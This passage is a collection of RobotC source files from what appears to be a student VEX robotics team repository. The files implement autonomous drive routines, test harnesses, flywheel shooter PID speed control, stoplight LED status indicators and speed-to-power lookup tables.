stepCounter); getStepSelection(stepCounter, autoRun); // ..................................................................................... // This is the OFFICIAL Autonomous Routine. Experiments go in a "SimpleTestHarness" // ..................................................................................... switch(stepCounter){ case 0: driveForward(1005, 100); break; case 1: spinLeft(45, 100); break; case 2: driveForward(1000, 100); break; case 3: spinLeft(90, 100); break; default: writeDebugStreamLine("--Step number %d not defined", stepCounter); } stepCounter++; } // End While loop writeDebugStreamLine("****** Completed Autonomous Function **********************"); } void our_userControl(){ // User control code here, inside the loop writeDebugStreamLine("****** Started User Control Function **********************"); while (true) { // This is the main execution loop for the user control program. Each time through the loop // your program should update motor + servo values based on feedback from the joysticks. // ..................................................................................... // Insert user code here. This is where you use the joystick values to update your motors, etc. // ..................................................................................... writeDebugStreamLine("NO USER CODE YET, SO THIS WILL JUST HANG",); delay(1000); } } <file_sep>///////////////////////////////////////////////////////////////////////////////////////// // // Simple Measuring Test Harness // // This test harness disables the motors; it's used to test distances // It can be used in emulation OK, but it's meant to figure out distances // // Use It with the Emulator First, to make sure coreFunctions Calculate as expected // Then use the Robot, MOVE The Robot, and read the displayed encoder values. // Hit a button to go to the next vesion block. // // Copy this and make as many simple harnesses as you want, it doesn't // conflict with any other stuff. Delete this whenever you want. // Use these to experiement with new automous programs, or other functions under development // ///////////////////////////////////////////////////////////////////////////////////////// //********************************************************************* // Test Harness-specific **Global Configuration Vaules** // // These control overall behavior of the code, allowing for advanced // Debug, Test, Experiment behaviors //********************************************************************* // If this is emulated, the Manual Triggers doesn't get used; goes right to "Mock Sensors" // Manual MOTORS! Let's people have the fun of moving robot! #ifndef REAL_MOTORS #define REAL_MOTORS bool areMotorsEnabled = false; #endif // Manual SENSORS! You have to Trigger the sensor via a button on the controller. #ifndef SENSOR_TYPE #define SENSOR_TYPE int useSensorType = 1; // Manual Triggers #endif // SENSOR LOGGING! allows various levels to sensor logging. #ifndef SENSOR_LOGGING #define SENSOR_LOGGING bool logAllSensors = false; bool logActiveSensor = true; #endif // Need to pull in the Code Base for testing #ifndef CODE_BASE #define CODE_BASE #include "CoreAutoFunctions.c" #endif ////////////////////////////////////////////////////////////////////////////// // End Standard Harness Configurations ////////////////////////////////////////////////////////////////////////////// // Broken up as a seperate task, just for fun // Could have easily just been part of the overall main task task autoTestTask() { driveForward(1005, 100); } task main() { // Important, first set the config. // This is used by CoreAutoFunctions to force Emulation, Disable motors, etc. setConfig(); // Now do fun stuff !!! startTask(autoTestTask); delay(200000); } <file_sep>int getLeftShooterPower(int speed){ return 40; } int getRightShooterPower(int speed){ return 40; } <file_sep> ///////////////////////////////////////////////////////////////////////////////////////////////// // // CoreAutoFunctions // // Basic Autonomous functions used by higher level functions // //////////////////////////////////////////////////////////////////////////////////////////////// ///******************************************************************************* // Global Configuration Items // // These setting enable special behaviors for debugging, prototyping, and test purposes // Guards used as they could be overriden in harnesses ///******************************************************************************* // delays used for motor movements, etc. when using PC emulator #ifndef MOCK_DELAYS #define MOCK_DELAYS int mockDelays = 3000; #endif // Manual MOTORS! If set to "false" let's people have the fun of moving robot! #ifndef REAL_MOTORS #define REAL_MOTORS bool areMotorsEnabled = true; #endif // Manual SENSORS! If set to "false" let's people have the fun of triggering sensor events remote! #ifndef SENSOR_TYPE #define SENSOR_TYPE int useSensorType = 0; // 0 = Real Sensors, 1 = Manual Triggers, 2 = Mock Sensors #endif // SENSOR LOGGING! allows various levels to sensor logging. #ifndef SENSOR_LOGGING #define SENSOR_LOGGING bool logAllSensors = false; bool logActiveSensor = false; #endif // End of Global Config Items **************************************************** //******************************************************************************* // MAGIC NUMBERS // // These magic numbers are used on by these low level functions, and include stuff // like the number of encoder clicks required to turn 1 degree left. // ****************************************************************************** // // static const int DRIVE_FORWARD_CLICKS_PER_10CM = 25; static const int SPIN_LEFT_CLICKS_PER_DEGREE = 5; /////////////////////////////////////////////////////////////////////// // Function - setConfig // // Prints out the effective configuration // Supports fixing configuration when it's not right (say Emulatored vs Cortex) // Can do more later ////////////////////////////////////////////////////////////////////// void setConfig(){ writeDebugStreamLine("******** SETTING CONFIGURATION **************"); if (strcmp(_TARGET, "Emulator") == 0) { writeDebugStreamLine("------ Target is Emulator"); writeDebugStreamLine("--------- Disabling Motors and Sensors"); areMotorsEnabled = false; useSensorType = 2; writeDebugStreamLine("--------- Using Mock Delays: %d", mockDelays); } writeDebugStreamLine("-- REAL_MOTORS: %s", (areMotorsEnabled ? "true" : "false")); writeDebugStreamLine("-- SENSOR_TYPE: %d", useSensorType); writeDebugStreamLine("-- LOGGING All Sensors: %s", (logAllSensors ? "true" : "false" )); writeDebugStreamLine("-- LOGGING Active Sensor: %s", (logActiveSensor ? "true" : "false" )); writeDebugStreamLine("******** END CONFIGURATION **************"); } /////////////////////////////////////////////////////////////////////// // Function - keepRunning // // Used by Functions to abstract away common 'sensor code' // Supports functions that need to compare a current encoder value to a target value // // Evaluates to true if this should keep running. Used to wrap the // Different Sensor types // // If sensor types = 0, this will evaluate and decide // If sensor types = 1, this will check for a button press to quit // If sensor types = 2, this will delay for MOCK DELAYS, then say to quit ////////////////////////////////////////////////////////////////////// bool keepRunning( int currentClicks, int destClicks){ switch(useSensorType) { case 0: // Real Sensors return (currentClicks < destClicks); case 1: // Manual Sensors writeDebugStreamLine("---- Manual Sensors - block runs until controller button pressed"); // TODO: POLL FOR A BUTTON PRESS return false; case 2: // MOCK SENSORS writeDebugStreamLine("---- Mock Sensors - delay for MOCK_DELAYS"); delay(mockDelays); return false; default: writeDebugStreamLine("--- Invalid SensorType"); return false; } } /////////////////////////////////////////////////////////////////////// // Awesome Common Autonomous Blocks!!!! // // Can be used in real robots, Emulator, or manual motors/sensor configurations // This allows the block to be used to program an autonmous routine right on the PC, // or use the Robot to measure real desired distances, etc. // ////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////// // drive forward /////////////////////////////////////////////////// void driveForward(int distanceCM, int power){ writeDebugStreamLine("-- Driving Forward, %d Centimeters", distanceCM); // 1. First Calculate how far this should need to go, in clicks int distanceInClicks = (int)(((float) distanceCM / 10) * DRIVE_FORWARD_CLICKS_PER_10CM); writeDebugStreamLine("--- Calculated, %d Clicks", distanceInClicks); // 2. Where are we starting at, exactly in clicks? int startingClicks = 0; // For the physical Robot, get the real starting clicks on the encoder if ((useSensorType == 0) || (useSensorType == 1)){ // TODO: Set startingClicks to the real starting encoder value } writeDebugStreamLine("--- Starting Encoder Value, %d Clicks", startingClicks); // 3. Now, we call tell when we should be able to stop driving int currentClicks = startingClicks; int destClicks = startingClicks + distanceInClicks; writeDebugStreamLine("--- Destination Encoder Value, %d Clicks", destClicks); // 4. CONTROL EXECUTION if (! areMotorsEnabled){ writeDebugStreamLine("--- MOTORS DISABLED, push if you want"); } while (keepRunning(currentClicks, destClicks)){ if (areMotorsEnabled) { // TODO: Turn on Proper Motors delay(50); // TODO: GET CURRENT CLICKS if (logActiveSensor) writeDebugStreamLine("---- Currect Click Count: %d", currentClicks); } } writeDebugStreamLine("- Completed Drive Forward"); } ////////////////////////////////////////////////////////////////////////// // robot pivots in place, to the left. ////////////////////////////////////////////////////////////////////////// void spinLeft(int degrees, int power){ writeDebugStreamLine("- Starting Spin Left, %d Degrees", degrees); // 1. First Calculate how far this should need to go, in clicks int distanceInClicks = degrees * SPIN_LEFT_CLICKS_PER_DEGREE; writeDebugStreamLine("--- Calculated, %d Clicks", distanceInClicks); // 2. Where are we starting at, exactly in clicks? int startingClicks = 0; // For the physical Robot, get the real starting clicks on the encoder if ((useSensorType == 0) || (useSensorType == 1)){ // TODO: Set startingClicks to the real starting encoder value } writeDebugStreamLine("--- Starting Encoder Value, %d Clicks", startingClicks); // 3. Now, we call tell when we should be able to stop driving int currentClicks = startingClicks; int destClicks = startingClicks + distanceInClicks; writeDebugStreamLine("--- Destination Encoder Value, %d Clicks", destClicks); // 4. CONTROL EXECUTION if (! areMotorsEnabled){ writeDebugStreamLine("--- MOTORS DISABLED, push if you want"); } while (keepRunning(currentClicks, destClicks)){ if (areMotorsEnabled) { // TODO: Turn on Proper Motors delay(50); // TODO: GET CURRENT CLICKS if (logActiveSensor) writeDebugStreamLine("---- Currect Click Count: %d", currentClicks); } } writeDebugStreamLine("- Completed Spin Left"); } <file_sep>#include "Filter.c" #include "RealRobotPowerTable.c" #include "StopLightControl.c" #include "StableCheck.c" int shooter_target_speed = 0; bool speedChange = false; // Global Variables for shooter control // These are set by the joystick methods task shooter_power_control(){ bool recoveringRight = false; bool recoveringLeft = false; int last_right_clicks = 0; int last_left_clicks = 0; int last_read_time = -10; int left_power = 0; int right_power = 0; while(true) { // Variables for power control int current_right_clicks = SensorValue[rightShooter]; int current_left_clicks = SensorValue[leftShooter]; int current_read_time = nPgmTime; // current raw speed int elapsed_right_clicks = current_right_clicks - last_right_clicks; int elapsed_left_clicks = current_left_clicks - last_left_clicks; // int elapsed_time = current_read_time - last_read_time; // filtered speed int current_right_speed = elapsed_right_clicks * 5; int current_left_speed = elapsed_left_clicks * 5; // Stoplight color controls int left_color = NONE; int right_color = NONE; // Do power control with filtered values; if(shooter_target_speed == 0){ right_color = NONE; right_power = 0; left_color = NONE; left_power = 0; } // Otherwise, target speed is > 0; else { // Right Side Speed Control // Right Side is in recovery mode if (recoveringRight){ // In recovery mode, we use max power until we reach 95% of target speed if(current_right_speed > (shooter_target_speed * 0.95)){ recoveringRight = false; right_color = YELLOW; right_power = getRightShooterPower(shooter_target_speed); writeDebugStreamLine("Right Side Now NORMAL Mode - Fixed Power: %d", right_power); } // We're not at 95% yet, so keep recovering else{ right_color = RED; right_power = 127; } } // Else in Normal mode else{ // In normal mode, we use the lookup table // We make small adjustments (but not yet) // And we may move to recovery mode // Speed is LESS THAN 85% of target speed if(current_right_speed < (shooter_target_speed * 0.85)){ writeDebugStreamLine("Right Side ***** RECOVERY MODE ****** "); recoveringRight = true; right_color = RED; right_power = 127; } // Otherwise use canned numbers else { right_power = getRightShooterPower(shooter_target_speed); if (isRightStable(current_right_speed)){ purgeRightValues(); // Print out "Right side stable @ what power, and what speed" writeDebugStreamLine("Right side stable at %d speed", current_right_speed); } // Now just set the colors // Speed is between 1% above or below target if(current_right_speed < (shooter_target_speed * 0.98)){ right_color = YELLOW; } else if(current_right_speed > (shooter_target_speed * 1.02)){ right_color = YELLOW; } // Speed is in the 4% sweet spot else { right_color = GREEN; } } // end use cannded numbers } // end "else normal mode" // End of Right side Speed Control // Left Side Speed Control // Left Side is in recovery mode if (recoveringLeft){ // In recovery mode, we use max power until we reach 95% of target speed if(current_left_speed > (shooter_target_speed * 0.95)){ recoveringLeft = false; left_color = YELLOW; left_power = getLeftShooterPower(shooter_target_speed); writeDebugStreamLine("Left Side Now NORMAL Mode - Fixed Power: %d", left_power); } // We're not at 95% yet, so keep recovering else{ left_color = RED; left_power = 127; } } // Else in Normal mode else{ // In normal mode, we use the lookup table // We make small adjustments (but not yet) // And we may move to recovery mode // Speed is LESS THAN 85% of target speed if(current_left_speed < (shooter_target_speed * 0.85)){ writeDebugStreamLine("Left Side **** RECOVERY MODE *****"); recoveringLeft = true; left_color = RED; left_power = 127; } // Otherwise use canned numbers else { left_power = getLeftShooterPower(shooter_target_speed); if (isLeftStable(current_left_speed)){ purgeLeftValues(); // Print out "Right side stable @ what power, and what speed" writeDebugStreamLine("Left side stable at %d speed", current_left_speed); } // Now just set the colors // Speed is between 1% above or below target if(current_left_speed < (shooter_target_speed * 0.98)){ left_color = YELLOW; } else if(current_left_speed > (shooter_target_speed * 1.02)){ left_color = YELLOW; } // Speed is in the 4% sweet spot else { left_color = GREEN; } } // end "else use canned numbers" } // end "else normal mode" // End of Left Side Speed Control } // end "else target speed > 0" // Set Stoplight if((right_color == NONE) && (left_color == NONE)){ setStopLight(NONE); } else if((right_color == GREEN) && (left_color == GREEN)){ setStopLight(GREEN); } else if((right_color == RED) || (left_color == RED)){ setStopLight(RED); } else { setStopLight(YELLOW); } // The speed was changed, print the new target powers if (speedChange){ speedChange = false; writeDebugStreamLine("Left Side New - Fixed Power: %d", left_power); writeDebugStreamLine("Right Side New - Fixed Power: %d", right_power); } // Control motor power motor[leftTopShooter] = left_power; motor[rightTopShooter] = right_power; // End of power control work. // Save values for next reading time. last_left_clicks = current_left_clicks; last_right_clicks = current_right_clicks; last_read_time = current_read_time; delay(20); } // end while } void set_shooter_targets(int speed){ // For now, set value and print a debug statement shooter_target_speed = speed; speedChange = true; writeDebugStreamLine("Shooter Target Speed: %d", shooter_target_speed); } void adjust_shooter_targets(int adjust_speed){ // For now, adjust value a bit, and print a debug statement shooter_target_speed = shooter_target_speed + adjust_speed; speedChange = true; writeDebugStreamLine("Shooter Target Speed: %d", shooter_target_speed); } void setIntakeSpeed(int speed){ motor[leftIntake] = speed; motor[rightIntake] = speed; } <file_sep>#pragma config(Sensor, dgtl1, greenLED, sensorLEDtoVCC) #pragma config(Sensor, dgtl4, LeftEncoder, sensorQuadEncoder) #pragma config(Sensor, dgtl6, RightEncoder, sensorQuadEncoder) #pragma config(Sensor, dgtl11, , sensorQuadEncoder) #pragma config(Motor, port8, Shooter8, tmotorVex393_MC29, openLoop) #pragma config(Motor, port9, Shooter9, tmotorVex393_MC29, openLoop, reversed) //*!!Code automatically generated by 'ROBOTC' configuration wizard !!*// #define JOYSTICK_AVAIL true int shooter_target_speed = 0; task Shooting() { int print_value = 0; int last_clicks_left = 0; int last_clicks_right = 0; while(true) { motor[Shooter8] = shooter_target_speed; motor[Shooter9] = shooter_target_speed; if (shooter_target_speed > 80) { SensorValue[dgtl1] = 1; } else { SensorValue[dgtl1] = 0; } //get current int current_right_clicks = SensorValue[RightEncoder]; int current_left_clicks = SensorValue[LeftEncoder]; //calculate elapsed int elapsed_right_clicks = current_right_clicks - last_clicks_right; int elapsed_left_clicks = current_left_clicks - last_clicks_left; //print print_value = (print_value + 1); if(print_value == 20){ writeDebugStreamLine("elapsed_right_clicks: %d", elapsed_right_clicks); writeDebugStreamLine("elapese_left_clicks: %d", elapsed_left_clicks); //save current to last writeDebugStreamLine("shooter_target_speed: %d", shooter_target_speed); last_clicks_left = current_left_clicks; last_clicks_right = current_right_clicks; delay(100); print_value = 0; } } } void set_motor_target_speed(int speed){ // For now, set value and print a debug statement shooter_target_speed = speed; writeDebugStreamLine("Shooter Target Speed: %d", shooter_target_speed); } void adjust_target_speed(int adjustment){ // For now, adjust value a bit, and print a debug statement shooter_target_speed = shooter_target_speed + adjustment; writeDebugStreamLine("Shooter Target Speed: %d", shooter_target_speed); } task Controls() { while(true){ if (!JOYSTICK_AVAIL){ set_motor_target_speed(65); delay(10000); } // Check each button and do actions else if(vexRT[Btn8U] == 1){ // Set motor target speed (Far), Channel 8, Button U set_motor_target_speed(80); delay(500); } else if(vexRT[Btn8R] == 1){ // Set motor target speed (Medium), Channel 8, Button R set_motor_target_speed(60); delay(500); } else if(vexRT[Btn8D] == 1){ // Set motor target speed (Short), Channel 8, Button D set_motor_target_speed(40); delay(500); } else if(vexRT[Btn6U] == 1){ // Adjust motor target speed (5 up), Channel 6, Button U adjust_target_speed(1); delay(250); } else if(vexRT[Btn6D] == 1){ // Adjust motor target speed (5 down), Channel 6, Button D adjust_target_speed(-1); delay(250); } else if(vexRT[Btn8L] == 1){ // Stop all motor speed (0), Channel 8, Button L set_motor_target_speed(0); delay(500); } delay(10); } } task main() { startTask(Shooting); startTask(Controls); while(true) { delay(1000); } } <file_sep>#define GREEN 0 #define YELLOW 1 #define RED 2 #define ALL 3 #define NONE 4 void setRedLight (bool on) { if (on){ SensorValue[RedLight] = 1; } else { SensorValue[RedLight] = 0; } } void setYellowLight (bool on) { if (on){ SensorValue[YellowLight] = 1; } else { SensorValue[YellowLight] = 0; } } void setGreenLight (bool on) { if (on){ SensorValue[GreenLight] = 1; } else { SensorValue[GreenLight] = 0; } } void setStopLight(int color) { if (color==GREEN){ setRedLight(false); setYellowLight(false); setGreenLight(true); } else if (color==YELLOW){ setRedLight(false); setYellowLight(true); setGreenLight(false); } else if (color==RED){ setRedLight(true); setYellowLight(false); setGreenLight(false); } else if (color==ALL){ setRedLight(true); setYellowLight(true); setGreenLight(true); } else if (color==NONE){ setRedLight(false); setYellowLight(false); setGreenLight(false); } } <file_sep>int rightValues[5]; int leftValues[5]; int doFilter(int * valueList) { // get total int total = 0; int biggest = valueList[0]; int lowest = valueList[0]; for(int i = 0; i < 5; i++){ total += valueList[i]; if(valueList[i] > biggest){ biggest = valueList[i]; } if(valueList[i] < lowest){ lowest = valueList[i]; } } int filteredTotal = total - (biggest + lowest); int filterAverage = (filteredTotal/3); return filterAverage; } int filterLeft(int value){ // maintain left list for(int i=4; i > 0; --i){ leftValues[i] = leftValues[i-1]; } leftValues[0] = value; //get total return doFilter(leftValues); } int filterRight(int value){ // maintain list for(int i = 4; i > 0; --i){ rightValues[i] = rightValues[i-1]; } rightValues[0] = value; // get total return doFilter(rightValues); } <file_sep>#include "EvenMoreRealShooterPowerTable.c" #include "StopLightControl.c" #include "StableCheck.c" #define ADJUST_LOCKOUT_CYCLES 35 #define PID_INTEGRAL_LIMIT 3000 int shooter_target_speed = 0; bool speedChange = false; bool backOut = false; // backOut is for returning a ball from the shooter back into the intake. bool toggleShooterWheels = false; bool firstRecoveryLoop = false; task shooter_power_control(){ // PID CONSTANTS float pid_Kp = 0.045; float pid_Ki = 0.006; float pid_Kd = 0; // create variables // left variables int last_left_clicks = 0; float last_Error = 0; float pid_Integral = 0; SensorValue[leftShooter] = 0; // right variables int last_right_clicks = 0; SensorValue[rightShooter] = 0; // Stabilty Checking variables, for auto shooting int loop_counter = 0; int green_counter = 0; // Print Loop Counter int print_counter = 0; // loop while(true){ // First, are we transitioning between forward and backwards, or vise versa? if (toggleShooterWheels == true){ motor[leftTopShooter] = 0; motor[rightTopShooter] = 0; delay(2000); toggleShooterWheels = false; } // Backout mode is simple if (backOut == true){ motor[leftTopShooter] = -100; motor[rightTopShooter] = -100; } else if (shooter_target_speed == 0){ motor[leftTopShooter] = 0; motor[rightTopShooter] = 0; } // Else we're going forward else { // If the speed was changed significantly, reset the Integral if (speedChange){ pid_Integral = 0; speedChange = false; } // get speed for both sides // Variables for power control // int current_right_clicks = SensorValue[rightShooter]; // Sensor's backwords int current_left_clicks = SensorValue[rightShooter]/3; // current raw speed // int elapsed_right_clicks = current_right_clicks - last_right_clicks; int elapsed_left_clicks = current_left_clicks - last_left_clicks; // int elapsed_time = current_read_time - last_read_time; int elapsed_clicks = elapsed_left_clicks * 1; // filtered speed int current_speed = elapsed_clicks; // Stoplight color controls int color = NONE; int right_color = NONE; // Save Last Numbers for next loop last_left_clicks = current_left_clicks; // We may be in RECOVERY MODE if (ShooterMode == RECOVERY){ // Reseting the integral when we're close to the target speed should // reduce the overshoot error on the integral, and get to the target speed quicker // Set motors to 100 power until we're at 90% of target speed, on one of the flywheels motor[leftTopShooter] = 127; motor[rightTopShooter] = 127; if(firstRecoveryLoop) firstRecoveryLoop = false; else{ // Set motors to 100 power until we're at 90% of target speed, on one of the flywheels // at that point, we're in NORMAL MODE if (current_speed > (shooter_target_speed - 4)){ ShooterMode = NORMAL; writeDebugStreamLine("Exiting Recovery Mode - Reseting Integral - s.t.s = %d", shooter_target_speed); writeDebugStreamLine("Left - current: %d", current_speed); writeDebugStreamLine("Right - current: %d", current_speed); //pid_Integral = 0; } } ////////////////////////////////////////////////////////////// // Debug info ///////////////////////////////////////////////////////////// print_counter = print_counter + 1; if (print_counter == 10){ writeDebugStreamLine("Recovery Mode Speed: %d", current_speed); print_counter = 0; } } // If we are not in RECOVERY MODE, then use PID else { ///////////////////////////////////////////////////////////////// // DO PID ///////////////////////////////////////////////////////////////// // We have the actual speed, and the current speed. // Calculate ERROR = Current_Speed = Actual; float pid_error = shooter_target_speed - current_speed; // CALCULATE INTEGRAL - if Ki is not 0 if( pid_Ki != 0 ) { // If the sign of the error changes, then reset the integral //if (sgn(pid_error_left) != (sgn(pid_Integral_left) // pid_Integral_left = pid_error_left; // If we are inside controlable window then integrate the error //else if( abs(pid_error) < PID_INTEGRAL_LIMIT ) pid_Integral = pid_Integral + pid_error; else pid_Integral = 0; } else pid_Integral = 0; // CALCULATE DERIVATIVE float pid_Derivative = pid_error - last_Error; float pid_correction = (pid_error * pid_Kp) + (pid_Integral * pid_Ki) + (pid_Derivative * pid_Kd); // SET SPEED FOR Flywheel int motor_power = getShooterPower(shooter_target_speed) + pid_correction; if (motor_power > 127) motor_power = 127; if (motor_power < 0) motor_power = 0; motor[leftTopShooter] = motor_power; motor[rightTopShooter] = motor_power; // SAVE Left Variables last_Error = pid_error; /////////////////////////////////////////// // DO Lights /////////////////////////////////////////// color = RED; if (abs(pid_error) < (shooter_target_speed * .1)) color = YELLOW; if (abs(pid_error) < (shooter_target_speed * .03)) color = GREEN; // Set Stoplight if(ShooterMode == READY_TO_SHOOT){ setStopLight(GREEN); } else if(color == NONE){ setStopLight(NONE); } else if(color == GREEN){ setStopLight(GREEN); green_counter = green_counter + 1; } else if(color == RED){ setStopLight(RED); } else { setStopLight(YELLOW); } ////////////////////////////////////////////////////////////// // Debug info ///////////////////////////////////////////////////////////// print_counter = print_counter + 1; if (print_counter == 10){ writeDebugStreamLine("Speed: %d, Offset Power: %d", current_speed, pid_correction); print_counter = 0; } ////////////////////////////////////////////////////////////// // Determine Shooter Mode; for autoshooting ///////////////////////////////////////////////////////////// // First, detect if we just shot a ball // If we were ready to shoot, and the speed is way off ( <85% target speed on both sides // Then we think we just fired a ball, this will reset the mode to "RECOVERY" if ((ShooterMode == READY_TO_SHOOT) && (current_speed < (.9 * shooter_target_speed))){ ballFireDetected(); firstRecoveryLoop = true; loop_counter = 0; green_counter = 0; // reset integrals after firing: //pid_Integral = 0; } // Else we are not ready to shoot. Increment to loop counters, and green counts appropriately // If there's enough Greens out of the last X times through the loop; then set the ShooterMode // to READY_TO_SHOOT. This is stay, until Recovery mode. else { loop_counter = loop_counter + 1; //Don't let the counts get too high!!! if (loop_counter > 16){ green_counter = 0; loop_counter = 0; } if (isShooterReady(green_counter,loop_counter)){ ShooterMode = READY_TO_SHOOT; } } } // End Else (NORMAL MODE) } // End Else (Going Forward) delay(20); } // End While loop } void set_shooter_targets(int speed){ // If we are changing to a higher speed (> 100 more speed) // Then jump into recovery mode if ((speed - 100) > shooter_target_speed){ ShooterMode = RECOVERY; firstRecoveryLoop = true; } shooter_target_speed = speed; speedChange = true; writeDebugStreamLine("Shooter Target Speed: %d", shooter_target_speed); } void adjust_shooter_targets(int adjust_speed){ // For now, adjust value a bit, and print a debug statement shooter_target_speed = shooter_target_speed + adjust_speed; //speedChange = true; writeDebugStreamLine("Shooter Target Speed: %d", shooter_target_speed); } <file_sep>#define BUFFER_SIZE 18 int rightStableList[BUFFER_SIZE]; int leftStableList[BUFFER_SIZE]; void purgeLeftValues(){ for(int i=0; i < BUFFER_SIZE; i++){ leftStableList[i] = 0; } } void purgeRightValues(){ for(int i=0; i < BUFFER_SIZE; i++){ rightStableList[i] = 0; } } int stableCheck( int * list){ int total = 0; int average = 0; int maxrange; int minrange; int forecast = 0; int firstHalfTotal = 0; int firstHalfAve = 0; int secondHalfTotal = 0; int secondHalfAve = 0; for(int i=0; i < BUFFER_SIZE; i++){ total = total + list[i]; if (i < (BUFFER_SIZE / 2)){ firstHalfTotal = firstHalfTotal + list[i]; } else{ secondHalfTotal = secondHalfTotal + list[i]; } } average = total / BUFFER_SIZE; firstHalfAve = (firstHalfTotal / (BUFFER_SIZE / 2)); secondHalfAve = (secondHalfTotal / (BUFFER_SIZE / 2)); maxrange = average * 1.04; minrange = average * 0.96; bool stable = true; for(int i=0; i < BUFFER_SIZE; i++){ if ((list[i] > maxrange) || (list[i] < minrange)){ stable = false; } } if (stable) // Weighted average change forecast // return the second half average with 1/2 the difference between first and second halfs return secondHalfAve + ((secondHalfAve - firstHalfAve) / 2); else return 0; } int isLeftStable (int currentSpeed){ // maintain left list for(int i=(BUFFER_SIZE - 1); i > 0; --i){ leftStableList[i] = leftStableList[i-1]; } leftStableList[0] = currentSpeed; //get total return stableCheck(leftStableList); } int isRightStable (int currentSpeed){ // maintain list for(int i = (BUFFER_SIZE - 1); i > 0; --i){ rightStableList[i] = rightStableList[i-1]; } rightStableList[0] = currentSpeed; // get total return stableCheck(rightStableList); } <file_sep>#pragma config(Motor, port2, leftDrive, tmotorVex393_MC29, openLoop) #pragma config(Motor, port3, rightDrive, tmotorVex393_MC29, openLoop, reversed) #pragma config(Motor, port4, strafeDrive, tmotorVex393_MC29, openLoop) #pragma config(Motor, port5, strafeFront, tmotorVex393_MC29, openLoop) #pragma config(Motor, port6, expeller, tmotorVex393_MC29, openLoop) #pragma config(Motor, port7, intake, tmotorVex393_MC29, openLoop) #pragma config(Motor, port8, shooterLeft, tmotorVex393_MC29, openLoop) #pragma config(Motor, port9, shooterRight, tmotorVex393_MC29, openLoop) #pragma platform(VEX) //Competition Control and Duration Settings #pragma competitionControl(Competition) #pragma autonomousDuration(20) #pragma userControlDuration(120) #include "Vex_Competition_Includes.c" //Main competition background code...do not modify! #include "DriverJoystickControlRobotB.c" ///////////////////////////////////////////////////////////////////////////////////////// // // Pre-Autonomous Functions // // You may want to perform some actions before the competition starts. Do them in the // following function. // ///////////////////////////////////////////////////////////////////////////////////////// void pre_auton() { // Set bStopTasksBetweenModes to false if you want to keep user created tasks running between // Autonomous and Tele-Op modes. You will need to manage all user created tasks if set to false. bStopTasksBetweenModes = true; bLCDBacklight = true; displayLCDCenteredString(0, "Calibrating Gyro"); SensorType[in1] = sensorNone; wait1Msec(1000); displayLCDCenteredString(1, "50% Complete"); SensorType[in1]= sensorGyro; wait1Msec(2000); displayLCDCenteredString(0, "Gyro Ready"); clearLCDLine(1); bLCDBacklight = false; } ///////////////////////////////////////////////////////////////////////////////////////// // // Autonomous Task // // This task is used to control your robot during the autonomous phase of a VEX Competition. // You must modify the code to add your own robot specific commands here. // ///////////////////////////////////////////////////////////////////////////////////////// task autonomous() { displayLCDCenteredString(0, "Autonomous Mode"); // Fire ball // Turn on Shooter for 2 seconds motor[shooterLeft] = 127; motor[shooterRight] = -127; wait1Msec(2000); // Turn off Shooter motor[shooterLeft] = 0; motor[shooterRight] = 0; // Then drive forward with intake and what for 4 seconds SensorValue[in1] = 0; motor[intake] = 127; for (int i=0; i < 2000; i++){ motor[rightDrive] = 100 - (SensorValue[in1] / 4); motor[leftDrive] = 100 + (SensorValue[in1] / 4); wait1Msec(2); } // Then Turn off everything motor[rightDrive] = 0; motor[leftDrive] = 0; motor[intake] = 0; } ///////////////////////////////////////////////////////////////////////////////////////// // // User Control Task // // This task is used to control your robot during the user control phase of a VEX Competition. // You must modify the code to add your own robot specific commands here. // ///////////////////////////////////////////////////////////////////////////////////////// task usercontrol() { // User control code here, inside the loop displayLCDCenteredString(0, "User Control"); // User Control startTask(controllerPolling); startTask(driving); while(true) { displayLCDCenteredString(0, "User Control"); delay(2000); } } <file_sep><h1> Upper Perk Robotics - Nothing But Net </h1> You may use any code you like. <h2> Potentially Useful Code </h2> <h3> Filter.c </h3> This code is good for smoothing out raw readings from encoders, to control the shooter flywheels with smoother power changes.<file_sep>#pragma config(Sensor, dgtl1, GreenLight, sensorLEDtoVCC) #pragma config(Sensor, dgtl2, YellowLight, sensorLEDtoVCC) #pragma config(Sensor, dgtl3, RedLight, sensorLEDtoVCC) #pragma config(Sensor, dgtl4, leftShooter, sensorQuadEncoder) #pragma config(Sensor, dgtl6, rightShooter, sensorQuadEncoder) #pragma config(Sensor, dgtl8, drive, sensorQuadEncoder) #pragma config(Sensor, dgtl11, FrontLED, sensorLEDtoVCC) #pragma config(Sensor, dgtl12, BackLED, sensorLEDtoVCC) #pragma config(Motor, port2, leftDrive, tmotorVex393_MC29, openLoop) #pragma config(Motor, port3, rightDrive, tmotorVex393_MC29, openLoop, reversed) #pragma config(Motor, port4, leftIntake, tmotorVex393_MC29, openLoop, reversed) #pragma config(Motor, port5, rightIntake, tmotorVex393_MC29, openLoop) #pragma config(Motor, port6, leftLifter, tmotorVex393_MC29, openLoop) #pragma config(Motor, port7, rightLifter, tmotorVex393_MC29, openLoop) #pragma config(Motor, port8, leftTopShooter, tmotorVex393_MC29, openLoop) #pragma config(Motor, port9, rightTopShooter, tmotorVex393_MC29, openLoop, reversed) void spinLeft(){ // reset Enconder SensorValue[drive] = 0; // while Loop while( SensorValue[drive] < 50){ // set motors motor[leftDrive] = 50; motor[rightDrive] = -50; // delay delay (20); } // stop motors motor[leftDrive] = 0; motor[rightDrive] = 0; } task main() { spinLeft(); } <file_sep>int getRightShooterPower(int speed){ int power = 0; if (speed > 940){ power = 74; } else if (speed > 935){ power = 72; } else if (speed > 925){ power = 71; } else if (speed > 915){ power = 70; } else if (speed > 905){ power = 69; } else if (speed > 895){ power = 68; } else if (speed > 885){ power = 67; } else if (speed > 880){ power = 66; } else if (speed > 870){ power = 65; } else if (speed > 865){ power = 64; } else if (speed > 860){ power = 63; } else if (speed > 855){ power = 62; } else if (speed > 850){ power = 61; } else if (speed > 848){ power = 60; } else if (speed > 846){ power = 59; } else if (speed > 844){ power = 58; } else if (speed > 842){ power = 57; } else if (speed > 840){ power = 56; } else if (speed > 835){ power = 55; } else if (speed > 830){ power = 54; } else if (speed > 820){ power = 53; } else if (speed > 810){ power = 52; } else if (speed > 805){ power = 50; } else if (speed > 800){ power = 48; } else if (speed > 790){ power = 47; } else if (speed > 780){ power = 46; } else if (speed > 770){ power = 45; } else if (speed > 760){ power = 44; } else if (speed > 750){ power = 43; } else if (speed > 747){ power = 42; } else if (speed > 745){ power = 41; } else if (speed > 730){ power = 40; } else if (speed > 710){ power = 39; } else if (speed > 690){ power = 38; } else if (speed > 670){ power = 37; } else if (speed > 665){ power = 36; } else 